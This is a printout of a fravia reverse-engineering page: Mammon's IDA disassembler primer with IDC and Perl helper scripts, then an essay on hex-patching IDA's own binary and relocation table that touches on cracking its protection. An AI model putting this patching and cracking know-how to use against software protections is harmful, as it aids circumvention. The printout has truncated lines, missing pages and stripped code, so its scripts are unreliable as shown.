http://www.instinct.org/fravia/mamm_gip.htm (17 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
00407300 ; sub_4045AF+3E^r
00407300 ; .text:004046B9^r
00407300 ; .text:004046DD^r
Each of the locations after a ";" is an address in the file that calls lstrcmpa; these are known as
cross-references,
or X-refs for short. Double-click on the first one; note how it brings you to
|00401FC1 FF 15 00 73 40 00 call ds:lstrcmpA
|00401FC7 85 C0 test eax, eax
|00401FC9 75 10 jnz short loc_401FDB
Press Esc to go back to the lstrcmp entry, then double-click on each of the remaining X-refs to scope out t
caller
code. Note how you can scout out each caller routine by double clicking on call/jmp locations within the co
and by
double-clicking on X-refs to see who initiated the caller routine; Esc, as always, returns you back the way
you came,
one step at a time.
A final method of viewing exports is to write an IDC script. IDC is the IDA macro language; it stands for
IDA-C much
in the way that QCC stands for Quake-C. All IDA scripts must include the file IDC.IDC, which contains a num
of
internal IDA functions and constants. The IDC language is a lot like C, and is described in the file
IDC.TXT--here is
brief excerpt summarizing the language:
====================================================================
IDC supports the following statements:
if (expression) statement
if (expression) statement else statement
for ( expr1; expr2; expr3 ) statement
while (expression) statement
do statement while (expression);
break;
continue;
return ;
return; the same as 'return 0;'
{ statements... }
expression; (expression-statement)
; (empty statement)
In expressions you may use almost all C operations except:
++,--
complex assigment operations as '+='
, (comma operation)
http://www.instinct.org/fravia/mamm_gip.htm (18 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
Here is how a function is declared :
static func(arg1,arg2,arg3) {
...
}
Here is how a variable is declared :
auto var;
====================================================================
That said and done, here is a script for listing the file's exports by API module
to the IDA Messages window (the blue one with all of the yellow writing on it):
====================================================================
//Imports.idc : Outputs list of imported functions to the Message Window
#include
static GetImportSeg()
{
auto ea, next, name;
ea = FirstSeg();
next = ea;
while ( (next = NextSeg(next)) != -1) {
name = SegName(next);
if ( substr( name, 0, 6 ) == ".idata" ) break;
}
return next;
}
static main()
{
auto BytePtr, EndImports;
BytePtr = SegStart( GetImportSeg() );
EndImports = SegEnd( BytePtr );
Message(" \n" + "Parsing Import Table...\n");
while ( BytePtr < EndImports ) {
if (LineA(BytePtr, 1) != "") Message("\n" + "____" + LineA(BytePtr,1) + "____" + "\n");
Message(Name(BytePtr) + "\n");
BytePtr = NextAddr(BytePtr);
}
Message("\n" + "Import Table Parsing Complete\n");
}
====================================================================
The coding is pretty straight forward if you know C: the script finds the .idata segment,
prints each non-blank anterior comment line (i.e., the line that tells what API module
the following imports belong to), then prints the Name of each defined/named address in the
http://www.instinct.org/fravia/mamm_gip.htm (19 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
.idata section. The script is executed by pressing F2 and selecting "imports.idc", assuming
that you have saved the script as imports.idc in the \IDA37?\IDC directory.
Viewing Exports
---------------
Viewing exported functions s a little easier. Perhaps the quickest way is to select the Options-Name
Representation
menu item, and mark the "type of names" dialog so it includes only publics, as follows:
Types of names included in the list of names:
[ ] Normal
[X] Public
[ ] Autogenerated
[ ] Weak
Press Ok and then select the View->Names menu item; the Names window will now only contain the exported
functions of
the program. As with any of the Names/Segments/etc windows, double clicking on any line will bring that
function up
in the "code window". [Note: if you have modified the IDA.cfg file as mentioned above, you can also browse
imports
in this manner by checking only "Normal" in the dialog box illustrated above, then ignoring everything with
"str->"
prefix; the remainder will be imports.]
If the program has an .edata segment, you can also view the exports there much in the same manner as in the
.idata method
given in the previous section. Note that Notepad has only one export ("start", the program entry point) and
also has no
.edata segment.
The IDC method works for exports as well. The following ID script searches for entry points into the progra
and displays them
in the message window:
====================================================================
//exports.idc : display eprogram entry points to the message window
#include
static main()
{
auto x, ord, ea;
Message("\n Program Entry Points: \n \n");
for ( x=0; x<= GetEntryPointQty(); x = x+1){
http://www.instinct.org/fravia/mamm_gip.htm (20 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
ord = GetEntryOrdinal( x );
ea = GetEntryPoint( ord );
Message( Name( ea ) + ": Ordinal " + ltoa( ord,16 ) + " at offset " + ltoa( ea, 16) + "\n");
}
Message("\n" + "Export Parsing Complete\n");
}
====================================================================
Once again, this script may be run by pressing F2 and selecting "exports.idc".
Viewing Strings/Resources
-------------------------
The strings can be previewed by selecting "Normal" as the "Type of names to be shown in the list of names"
the
Options->Name Representation dialog box, and then looking for everything beginning with the prefix "str->"
"a",
if using IDA straight out of the box).
In PE files, strings are commonly kept in a string table in the .rsrc segment. However, IDA does not by
default
parse the .rsrc segment for strings. Thus, an IDC script can be written to parse the .rsrc section for us,
creating
strings where any standard ASCII character is found so that the strings may be browsed either in the .rsrc
segment,
or in the names window:
====================================================================
//RSRC_Strings.IDC
//define all std ASCII characters in the .rsrc segment as strings
#include //This file contains all of the
//function protos we will be using
static main(){
auto ea; //auto is the standard variable type
ea = FirstSeg(); //Get Addr of first segment into ea
while (ea !=BADADDR) {
Message( "Analyzing " + SegName(ea) + "...\n" );
//Is this the .RSRC segment? If so...
if ( SegName(ea) == ".rsrc"){
Message(" RSRC found!\n");
while ( ea <= SegEnd(ea)) {
//Change every Std ASCII character into a string
if ( Byte(ea) > 0x19 && Byte(ea) < 0x7F){
MakeStr( ea, -1 );
http://www.instinct.org/fravia/mamm_gip.htm (21 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
MakeRptCmt(ea, Name(ea));
ea = ea + ItemSize( ea );
}
else ea = ea + 1;
}
}
ea=NextSeg(ea); //Goto Next Segment
}
Message("Done!\n");
}
====================================================================
The IDC script is functional, though not perfect (plenty of random bytes
defined as strings, but it is quick up-and-running script). Notice that IDC.IDC
contains a lot of function prototypes for use in IDC scripts; by including it, you
are able to call all of the FirstSeg(), NextSeg(), etc functions. These functions
are poorly documented, but the commented prototypes should give you enough to go
on.
The IDC script can be placed in the \IDC directory and run by pressing F2 and choosing
the rsrc_strings.idc script. Note that this script assumes that you have the default
string type set as "Unicode"; as such it will parse any Unicode resource names or values
in the .rsrc statement. For a full-fledged resource parsing IDC script a lot more work is
in order; I have started such a project with a script known as reslib.idc (too large to
include here) which is publicly available.
After running this script we can create and run a second one which will print out all of the
strings (that is, every location name that begins with "str->") in the disassembled listing:
====================================================================
//ss.idc : display all strings in the program
#include
static main()
{
auto ea;
ea = FirstSeg();
Message("\n" + "Strings in Application: \n \n");
while( ea != BADADDR) {
if( substr( Name(ea), 0, 5) == "str->") {
Message( substr(Name(ea), 5, -1) + " at address " + ltoa( ea, 16) + "\n" );
}
ea = NextAddr(ea);
}
http://www.instinct.org/fravia/mamm_gip.htm (22 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
Message("\n" + "String Listing Complete\n");
}
====================================================================
Running this after the previous IDC script will reveal the flaw in
the first one: a lot of garabage ASCII bytes are listed as strings--more,
in fact than there are actually strings. For this reason it is important
to refine your scripts so they print out only the string table and resource
names in the .rsrc section (as I have done with the reslib.idc script),
rather than blindly naming locations.
What if your string has not been defined? If it is not Unicode, then you can
search for it using Navigate->SearchFor->Text In Core... (Alt-B), by entering
the string in quotes at the dialog box, as follows:
+-[_]--------------- Binary search --------------------+
Enter search (down) string:
String "FindReplace" _
[X] Case-sensitive () Hex
( ) Decimal
( ) Octal
OK _ Cancel _ F1 for Help_
________ ________ ____________
+------------------------------------------------------+
This will find occurences of "FindReplace" in the file. You can also search
for the text using the hexadecimal equivalents of the ASCII characters:
+-[_]--------------- Binary search --------------------+
Enter search (down) string:
String 46 69 6E 64 _
http://www.instinct.org/fravia/mamm_gip.htm (23 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
[X] Case-sensitive () Hex
( ) Decimal
( ) Octal
OK _ Cancel _ F1 for Help_
________ ________ ____________
+------------------------------------------------------+
This will search for "Find" in the disassembled listing. In
this way you can search for Unicode strings as well:
+-[_]--------------- Binary search --------------------+
Enter search (down) string:
String 43 00 61 00 6E 00 6E _
[X] Case-sensitive () Hex
( ) Decimal
( ) Octal
OK _ Cancel _ F1 for Help_
________ ________ ____________
+------------------------------------------------------+
This will search for the Unicode string "Cannot". Note that
simply searching for the string "Cannot" will fail due to the
00 bytes that Unicode inserts between characters. Thus, to search
effectively for Unicode strings, they must be defined first.
Searching for code can be done in the same way, using the Text In Core
method. For example, the following will search for "test eax, eax":
+-[_]--------------- Binary search --------------------+
Enter search (down) string:
String 85 C0 _
[X] Case-sensitive () Hex
( ) Decimal
( ) Octal
OK _ Cancel _ F1 for Help_
________ ________ ____________
+------------------------------------------------------+
And you can use the standard Text search for opcodes as well, though
you will get a lot of hits (i.e., you can search for the text "test" but not "test eax, eax";
http://www.instinct.org/fravia/mamm_gip.htm (24 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
therefore you will get quite a few hits).
There is, of course, a final option to make searching for strings much easier--you must write an
IDC script to front-end for the "Search for Text In Core" function. The following IDC script will
do just that, allowing you to enter a text string to search for, then converting the string to
hexadecimal and feeding it to the "Text In Core" function:
====================================================================
// textsearch.idc : search for undefined strings
#include
static main()
{
auto ea, x, y, searchstr, temp_c, binstr, array_id, alphabet, bin_c, cont;
ea = FirstSeg();
// ---- Create Array Of ASCII Characters ------------------------
// ---- Note that the index of each char = its decimal value ----
array_id = CreateArray("AsciiTable");
alphabet = "0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz";
y = 48;
for (x = 0; x < strlen(alphabet); x = x + 1 ) {
SetArrayString( array_id, y, substr(alphabet, x, x+1));
y = y +1;
}
// ---- Prompt User For Search String ----------------------------
searchstr = AskStr("", "Enter a search string:\n");
// ---- Cycle through array looking for match --------------------
for (x = 0; x < strlen(searchstr); x = x + 1 ) {
temp_c = substr(searchstr, x, x + 1 );
for( y = GetFirstIndex(AR_STR, array_id); y <= GetLastIndex(AR_STR, array_id); y =
GetNextIndex(AR_STR, array_id, y) ) {
if (temp_c == GetArrayElement(AR_STR, array_id, y)) {
bin_c = y;
break;
}
//End "If Match"
}
//End Array Loop
binstr = form("%s %X", binstr, bin_c); //Standard Version
//binstr = form("%s %X 00", binstr, bin_c); //Unicode Version
}
//End Search String Loop
Message("Search string is " + binstr + "\n"); //Debug Control
http://www.instinct.org/fravia/mamm_gip.htm (25 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
// -------- "Search" and "Search Again" Loop... --------------------
cont = 1;
while (cont==1) {
ea = FindBinary(ea, 1, binstr); //Search From ea
if( ea == -1) { //I
No Hits
Warning("No more occurrences"); //MessageBox
cont = 0;
break;
//Leave
}
Jump(ea); //Position
Cursor At Hit
cont = AskYN( 1, "Find next occurence?" ); //Search Again?
}
// --------- Cleanup and Exit
Message("\n" + "Search Complete\n");
DeleteArray(array_id);
}
====================================================================
Location Names
--------------
In IDA, location names are your greatest asset. Naming locations whose purpose
you know or suspect allows you to quickly browse the code for references to that
location. For example, do the following:
1. Go to the lstrcmp import listing
2. Double Click on the first X-ref; this should put you at 00401FC1
3. Scroll up to the start of the function (401FAC) and use the N command to name it "StringCmpFunc"
4. Rename 401FDB to "StringCmpFailed" (because of the JNZ at 401FC9)
5. Name 402033 to "Good String Name" (for the JMP at 401FD9)
Instantly the function is more readable. Now, go to the X-refs at 401FAC and double click on the
first one; this will put you at 00402816 (yes, we are back-tracing! Great, isn't it?). Here you are in
a great huge routine, and the "StringCmpFunc" stands out from the rest in bright yellow. The rest of the
internal functions (sub_???????) can be named in the same way.
Now some elementary searching browsing: You'll notice that you can see all of the names you created with
the N command in the Names window. Using Alt-T (search text), you can look for occurences of StringCmpFunc
in the disassembled listing, which will show you all of the locations that reference this function.
Ok, comments: you can comment code using the ";" key. Go back to the "StringCmpFailed" location (look it up
http://www.instinct.org/fravia/mamm_gip.htm (26 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
in the Names window), hit the ";" key and type in the text "Bad String Entered!". This is what is known as
"repeatable comment". Why repeatable? Because evey address that refers to this location will now have that
comment
suffixed to it--go back up to 401FC9 to verify. Cool, eh? You will never go back to W32Dasm...
Advanced Technique
------------------
1.IDS files and Comment Databases
Custom IDS files are very useful; you will need to download the IDS utilities from
http://www.unibest.ru/~ig/idsutil.zip
Basically, you create an IDT file from a .DLL by running the DLL2IDT utility. From there you can comment th
IDT file and compress it into an IDS file using ZIPIDS, and finally move it to the appropriate subdirectory
(based on OS) of \IDS.
With this file, you can provide comments for various functions by adding "Comment=" lines to each, for
example:
154 Name=RegCreateKeyA Comment=Create a Key in the System Registry
Wouldn't it be nice to have all of the API prototypes entered as comments into the IDS files? Well, it can
be done, though no-one in their right mind would attempt it by hand. One of the most basic programming tool
grep.exe, will allow you to search an entire directory for lines in any file containing a specific search
pattern.
If you were to grep an entire directory for WINAPI or STDCALL, you would then have as output a file with ev
1-line API prototype in it. The following perl script will take an .idt file and grep output file, and outp
an
.idt file commented with the API prototypes to stdout or a specified filename:
====================================================================
#!/usr/bin/perl
if ($#ARGV == 0) {
print "Usage: h2idt [idtfile] [grepfile] [outfile]\n";
print "Output defaults to stdout\n";
exit (1);
}
$idtfile = $ARGV[0];
$grepfile = $ARGV[1];
if ($#ARGV == 2) {
http://www.instinct.org/fravia/mamm_gip.htm (28 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
$outfile = ">" . $ARGV[2];
} else {
$outfile = ">-";
}
open(IDTFILE, $idtfile)|| die "Can't open file: $!\n";
open(GREPFILE, $grepfile) || die "Can't open file: $!\n";
open(OUTFILE, "$outfile") || die "Can't create file: $!\n";
$i =0;
foreach (){
s/\n\r//;
@greparray[$i] = $_;
$i++;
}
foreach () {
if ( /^0/ ){
s/\\//;
print OUTFILE $_;
print OUTFILE ";---------------------------------------\n";
break;
} elsif ( /Name=/ ){
if (/\n/){
chop; #get rid of LF
}
if (/\r/){
chop; #get rid of CR
}
$outstr = $_;
($junk, $searchstr, $junk) = split(' ', $_, 3);
$searchstr =~ s/Name=//;
$comment='';
foreach(@greparray) {
if (/\s$searchstr\(/) {
$comment = $_;
}
}
$outstr =~ s/\\//;
if ($comment != '') {
http://www.instinct.org/fravia/mamm_gip.htm (29 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
$comment =~ s/^[^a-zA-Z]+//;
$comment =~ s/\n//;
$comment =~ s/;//;
$comment =~ s/STDCALL\s//;
print OUTFILE $outstr, " Comment=", $comment, "\n";
}else {
print OUTFILE $outstr, "\n";
}
}
}
print OUTFILE ";------------------EOF------------------";
close(OUTFILE);
close(GREPFILE);
close(GREPTMP);
close(IDTFILE);
exit (0);
====================================================================
As usual with Perl/unix files, strip the above for CR/LF's before you run it in perl (you can use
Editeur, or nedit for this, depending on your OS). So, how do you do this from NT? Well, assuming
you have the NT resource kit, the process for extracting and IDT file from an existing IDS file,
grepping for prototypes (I use LCC as the protos are all 1-line), creating the commented IDT file
and compressing it into an IDS file, is as follows:
You will get --in the IDT file-- output similar to the following:
===========================================================================
;DECLARATION
;ALIGNMENT 2
In addition to the IDS files, you can also maintain a database of comments that
will be inserted into the code upon disassembly. The IDA comment database is stored
in the IDA.INT file, and it can be modified with the LoadINT utility available at
http://www.unibest.ru/~ig/ldint37.zip
The Readme file best documents how to edit this database, but to show you a brief example of
the comments supplied with IDA, here is an excerpt from the PC section of the INT:
// MMX instructions
NN_emms: "Empty MMX state"
NN_movd: "Move 32 bits"
NN_movq: "Move 64 bits"
NN_packsswb: "Pack with Signed Saturation (Word->Byte)"
NN_packssdw: "Pack with Signed Saturation (Dword->Word)"
NN_packuswb: "Pack with Unsigned Saturation (Word->Byte)"
NN_paddb: "Packed Add Byte"
NN_paddw: "Packed Add Word"
NN_paddd: "Packed Add Dword"
These comments will appear (if "auto comments" is turned on) whenever the
opcode is encountered in the disassembly; note that you can browse through the .cmt files included
with LoadINT to see what the existing comments are. The most interesting will be int.cmt, pc.cmt,
portin.cmt, portout.cmt, and vxd.cmt. It is tempting --but rather daunting-- to port Ralph Brown's
Interrupt List comments to an INT database...
2.IDC Scripts
I have used IDC scripts for a number of monotonous tasks. Basically, you can use an IDC script to
parse VCL resources, to parse VB forms (if you take the time...), to encrypt or decrypt sections
of code, to print out a call trace, to perform searches for the user (e.g. a front-end to the RegEx
feature), etc.
Here are a quick few additional IDC scripts to demonstrate their usefulness:
====================================================================
//copy.idc: Outputs selected text to an .asm file
//Usage: Select text with mouse or cursor, hit F2 and type copy.idc, enter a filename when prompted
// and the selected text will be written to that file.
//Future Plans: Make this output to the Windows clipboard. I may have to patch IDA for this....
//
// code by mammon_ All rights reversed, use as you see fit.....
http://www.instinct.org/fravia/mamm_gip.htm (31 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
//------------------------------------------------------------------------------------------------------
#include
static main(){
auto filename, start_loc, end_loc;
start_loc = SelStart();
end_loc = SelEnd();
filename = AskFile( "asm", "Output file name?");
WriteTxt( filename, start_loc, end_loc);
return 0;
}
====================================================================
//------------------------------------------------------------------------------------------------------
//Haeder.idc : Imports #defines from a .h file, adds as enums
//Note: This script prompts the user for a header file (*.h), then parses the
// file looking for #define statements: these are then converted to members
// of enum "Defines".
//Bugs: Only the first instance of any value will be preserved; all others will be
// discarded with an error as you can have only one instance of any value (or
// any name) in a single enumeration. A prompt has been added for the user to
// name the enumerations for the header file, so that any duplicate enum values
// can be added to a different file and enumerated under a different "enum name."
//
// code by mammon_ All rights reversed, use as you see fit.....
//------------------------------------------------------------------------------------------------------
#include
static main(){
auto HeaderFile, hHeaderFile, fLength, BytePtr, first_str, second_str, third_str, define_val;
auto enum_id, tempc1, x, y, errcode, define_name, FilePtr, define_str, enum_name;
FilePtr = 0;
Message("\nStart Conversion\n");
HeaderFile = AskFile( "*.h", "Choose a header file to parse:");
enum_name = AskStr("Defines", "Enter a name for the enumerations (alpha only, eg 'VMMDefines'):");
hHeaderFile = fopen( HeaderFile, "r");
fLength = filelength(hHeaderFile);
if( fLength == -1) Message( "Bad File Length!\n");
enum_id = AddEnum( GetEnumQty() + 1, enum_name, FF_0NUMH);
if ( enum_id == -1) {
enum_id = GetEnum( enum_name );
if(enum_id == -1) Message("Enum #Defines not created/not found\n");
}
SetEnumCmt( enum_id, "#define from " + HeaderFile, 1);
while(FilePtr < fLength ){
FilePtr = strip_spaces( FilePtr, hHeaderFile );
BytePtr = FilePtr;
errcode = fseek( hHeaderFile, BytePtr, 0 );
if ( errcode != 0) break;
http://www.instinct.org/fravia/mamm_gip.htm (33 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
first_str = readstr( hHeaderFile );
if ( first_str == -1 ) {
Message( "End of file! \n" );
break;
}
else if ( substr(first_str, 0, 7) == "#define" || substr( first_str, 0, 7) == "#DEFINE" ) {
FilePtr = FilePtr + strlen( first_str );
BytePtr = BytePtr + 7;
BytePtr = strip_spaces( BytePtr, hHeaderFile );
errcode = fseek( hHeaderFile, BytePtr, 0 );
if ( errcode != 0 ) break;
second_str = readstr( hHeaderFile );
if ( second_str == -1 ) {
Message( "End of file after #define!\n" );
break;
}
else {
define_name = FindStringEnd( second_str );
define_name = FixString( define_name );
BytePtr = strip_spaces( BytePtr + strstr( second_str, " " ), hHeaderFile );
errcode = fseek( hHeaderFile, BytePtr, 0);
if ( errcode != 0 ) break;
third_str = readstr( hHeaderFile);
tempc1 = substr(third_str, 0, 2);
if ( third_str == -1) {
Message( "End of file before value!\n");
break;
}
else if ( tempc1 == "0x" || tempc1 == "0X") {
define_str = FindStringEnd( third_str );
define_val = xtol( define_str );
errcode = AddConst( enum_id, define_name, define_val);
if ( errcode == 1 ) Message( "Name " + define_name + " bad or already used in
program!\n");
if ( errcode == 2 ) Message( "Value " + define_str + " already used in program!\n");
if ( errcode == 3 ) Message( "Bad enumID!\n");
}
}
}
else FilePtr = FilePtr + strlen( first_str);
}
Message("\nConversion finished!\n");
http://www.instinct.org/fravia/mamm_gip.htm (34 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
}
====================================================================
//------------------------------------------------------------------------------------------------------
//funcalls.idc : Display the calls made by a function
#include
static main(){
auto ea,x,f_end;
ea = ChooseFunction("Select a function to parse:");
f_end = FindFuncEnd(ea);
Message("\n*** Code References from " + GetFunctionName(ea) + " : " + atoa(ea) + "\n");
for ( ea ; ea <= f_end; ea = NextAddr(ea) ) {
x = Rfirst0(ea);
if ( x != BADADDR) {
Message(atoa(ea) + " refers to " + Name(x) + " : " + atoa(x) + "\n");
x = Rnext0(ea,x);
}
while ( x != BADADDR) {
Message(atoa(ea) + " refers to " + Name(x) + " : " + atoa(x) + "\n");
x = Rnext0(ea,x);
}
}
Message("End of output. \n");
}
===================================================================
And, finally, I have referred to a reslib.idc file throughout this work. It can be found at
http://www.eccentrica.org/Mammon/Reslib.idc
with it's "caller file" at
http://www.eccentrica.org/Mammon/Res.idc
3.Map files
Map files may be generated by IDA using the File->Produce Output File->Produce Map File
menu item. All of the user-created and auto-generated names (if selected) will be included
as symbols in the .MAP files, which then can be converted into Soft-Ice symbol files using
NMSYM.EXE.
Note that there are a few tricks to this, I recommend using Gij's MaptoMap utility for the conversion.
4.ASM files
The ASM files may be used to produce compilable source code. This is not, strictly speaking, the
province of the cracker, but a bit of good practice can be found by taking various small .COM files
http://www.instinct.org/fravia/mamm_gip.htm (35 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
(such as debug, edit, or the various Crack-me's) and re-compiling them.
You should be able to get a working copy of this essay at Mammon's site.
You are deep inside fravia's pages of reverse engineering, choose your way out:
IDA ENHANCER
At this time, I plan to (as Quine) patch the IDA.WLL in order to add some new
functions on IDC laguage. Nothing new you think, Quine just do it before!
Yeah, I got a new IDA 3.75 version, which include the Exec command... And because
you know Ilfak is not a lazy guy, he could have take benefits on such enhancement to
change protection scheme.
To ensure the feasibility of that (Everything is possible, but I'm too lazy to plan
to crack such a protection before patching the prog which is a job (not
hard but long) enough.
Create an IDA structure in order to hold array element (I can't imagine doing this
without the help of this amazing IDA )
IDCtoken struc
ptr[3] dd 3 dup(?) <- Apply offset attribute on this
IDCtoken ends
Have you payed any attention now? If yes you have certainly denote that 134h is
absolutly
equal to decimal value 308. IDA as just tell you few seconds ago. IDA is clever, IDA
knows
what you want, even before you know you want something.... :-))
Name this dword ... let's try @arraysize$q12arrIDCtokens, and activate demangling on
name.
At this time jump to all of those XRefs that refer to either the dword and the
offset, and
rename them something like deal_with_IDCtokens_####. (Could help subsequent reading)
If you're stuck with message like .ERROR 'too many lines (more than 500)', just try
to change margin to 120 on text representation.
OK, now we got the array, a dword that we suppose (it is) represent the number of
element into
this array. So, it's time to quit IDA, and take your preferred HexEditor, refind this
0134h
(this is reverse engeenering pages, not hexedito for dummies) patch it with some
value...
Patch with 0133h is a good idea...
Recover now the genuine IDA.WLL, and start the next more interresting part.
First problem to solve now, is to make grow the array. I don't plan to use such trick
that Quine as (well) describe. The idea, is to optimize some code, in order to got
some extra byte free to implement some extra token. Each token (as previously view )
as 12 bytes long ... Just following the array, we got the long that represent the
size in
number of element of this array, then the offset (pointer) to the array itself, then
2 pointer on 2 functions, then start the data of the argument array (please refer
to Quine essay II for explaination of values ).
For those beginners that haven't stop reading, you must make an enum to map thoses
values
as something readable...
enum VTYPE
VT_VOID = 0
VT_STR = 1
VT_LONG = 2
VT_FLOAT = 3
VT_WILD = 4
The initial list use space from BBC0 to BC15 which represent 54h, subtract 7 because
of
mixed string in this area equal 4Ch (76 bytes).
Now my new table is:
lls0 5
llllll0 7
lsw0 4
llsl0 5
llllls0 7
sll0 4
lsllll0 7
=== 39 bytes (nice slim fat isn't it?)
Make the first part of the patch mean save bytes by just optimizing the array of
args,
move the length Dword ( arraysize(arrIDCtokens) ) forward
of ...?!?... 36 bytes (I guess we must respect the alignment), and adjust all the
offset
that refer to this pointer, plus adjust all the offset that refer to array of
args into arrIDCtokens.
************************************************
During this analysis, take a look on thoses
names...: _lpoke, _poke, _peek, _time, _call,
____, GetVxdFuncName, AssignKey.
_call is really amazing (look on the code)
************************************************
************************************************
If you just want to implement 1 function,
spend some time to re-read the array....
Have you seen that MakeStruct is referenced
twice ?
************************************************
At this time, we don't manipulate those 3 offset (pointer) which are lp_arrIDCtokens,
plus
those 2 following pointer to function, because it involve manipulating fixup (aka
reloc).
If you have follow my structure definition, you can use the following IDC function
to manipulate the offset.
static PatchXref()
ea = ScreenEA();
nea = ea;
nea = AskAddr(ea,"New Xref point to...");
nea = nea & 0x0FFFF;
As soon as you have finished this patching operations, under IDA, produce a DIF with
again IDA...and leave (we will come back soon :-)
Use now tools like patch engine to apply thoses changes to IDA.WLL (personaly I use
IDA
it self, ... :))
Restart IDA now, you normally have no problem with any IDC function. Every of them
works fine as if we haven't change anything.
We have exactly change nothing into the program at this time, but we have now some
space
to play with... Now to do something more interresting, start the next section...
First thing to do is of course to move data them-selves, then adjust offset on thoses
values, then ... adjust fixup of those 3 pointer. You can of course do that manually,
with all the risks of mistakes. But the question is can we do that IDA controlled.
We known that IDA keep track of thoses fixup info, the question is did it produce
diff
if we change Fixup infos thru SetFixup/DelFixup function ?
The answer seems to be no. Did IDA produce fixup informations when it produce the
EXE?
Unfortunatly I was not able to use such function (I wonder why).
So...
begin = SelStart();
end = SelEnd() - 1;
if (begin == BADADDR)
{
Warning("No memory range selected!\nAction aborted.");
return 0;
}
sense = 1;
srcEA = begin;
if (ScreenEA() == begin)
{
sense = -1;
srcEA = end;
}
fillup = 0;
fillup = AskAddr(fillup,"Enter pattern for quitting region...");
fillup = fillup & 0x0FF;
Now adjust any offset to refer to that area (long job!). We got a problem now if we
want
to create an IDC script. This is because IDA give us the begin address which refer to
a particular address, so it seems hard to automate offset adjustment.
static PatchXref()
{
auto nea, ea, xref, i, len, yn, fxoff;
ea = ScreenEA();
nea = ea;
nea = AskAddr(nea,"New Xref point to...");
According to those nice patch we have applyed, we normaly got something just like
the extraction from IDA dead-listing (LST file):
.
.
.
DATA:0048BB8C dd offset aExec, offset idc_Exec,
offset vtyp_s ; lp[3]
DATA:0048BB98 dd offset aGetidadirector, offset
idc_GetIdaDirectory, offset vtyp_0 ; lp[3]
DATA:0048BBA4 dd offset aOphigh, offset
idc_OpHigh, offset vtyp_lll ; lp[3]
DATA:0048BBB0 HCU_space db 28h dup(0) ; <== The job we have just
done... :-)
DATA:0048BBD8 _Funcs dd 134h ; wQty
; DATA XREF: deal_with_IDCtokens_4476D4+2E.r
DATA:0048BBD8
; deal_with_IDCtokens_460464+5.r ...
DATA:0048BBD8 dd offset arrIDCtokens.lp[3] ;
lp_functArr
DATA:0048BBD8 dd offset startup_409664(void) ;
lpfnStartup
DATA:0048BBD8 dd offset shutdown_409678(void) ;
lpfnShutdown
DATA:0048BBE8 aLi db '%li',0
; DATA XREF: idc_MakeLocal+37.o
DATA:0048BBEC aS_14 db '%s',0
; DATA XREF: idc_Warning+E.o idc_Fatal+E.o
DATA:0048BBEF vtyp_llss db VT_LONG
; DATA XREF: DATA:0048B5BC.o
DATA:0048BBF0 vtyp_lss db VT_LONG ; DATA XREF:
DATA:0048B970.o
DATA:0048BBF1 vtyp_ss db VT_STR ; DATA XREF:
DATA:0048AFEC.o DATA:0048AFF8.o ...
DATA:0048BBF2 vtyp_s db VT_STR ; DATA XREF:
DATA:0048AD40.o DATA:0048AF20.o ...
DATA:0048BBF3 vtyp_0 db VT_VOID ; DATA XREF:
DATA:0048B058.o DATA:0048B10C.o ...
DATA:0048BBF4 vtyp_llllll db VT_LONG ; DATA XREF:
DATA:0048B064.o
Now still the problem of thoses fixups... How to patch the EXE according thoses
modifications?
We known of course the theory about relocation tables on PE image file, but we need
now to make the step forward in order to fully adapt this table to our needs.
In order to get a view of this relocation table (aka fixup), we need a powerfull
tool.
What's about IDA (again?). Start a new IDA (new work directory), and take IDA.WLL as
file to
disassemble, then choose manual loading for segment on the first screen.
Answer yes to all the questions. Now stop auto-analisys (Alt-o, O, A) when IDA start
thinking!
Jump to segment '.reloc'. Now with our knowledge on PE file structure, we known that
we find
on that segment list of fixup table organized as follow (for 32bit image file):
a DWORD that represent the preferred base address
************************************************
More informations on PE file structure at
http://www.wotsit.org
************************************************
Now jump into the page org_8B000. Remember the first page refer to offset on first
page
of the first segment (.text) and IDA have implement this segment at 00401000h in it's
own address space. On each offset we have the flag positioned to 3 specifying that
this is a HILOW 32bits offset. Reloc data in page org_8B000 represent fixup in the
range 0048B000h - 0048BFFFh in IDA address space. In order to got better
representation
just request IDA to present those WORD data as user defined offset...
Press Ctrl-R, then enter the beginning IDA page address minus 3000h (because of the
flag).
Now if you apply name and structure definition into the area as we have applyed the
previous patch, you will certainly got something like this:
.
.
.
0048AD40 dd offset aGetidadirector, offset sub_409C64, offset
vtypArgTable+1 ; lp[3]
0048BBA4 dd offset aOphigh, offset loc_409AF8, offset
vtypArgTable+0Ch ; lp[3] ; DATA XREF: .reloc:004B25E0.o
0048BBA4
; .reloc:004B25E0.o ...
0048BBB0 arraysize(arr) dd 308 ; DATA XREF:
As you see, to calculate data offset into the raw file we need to do some
calculations... Why?
Let's figure out how image file is organized on disk:
+-------------------+
| MS-DOS | <--^
| MZ Header | |
+-------------------+ |
| MS-DOS Real mode | |
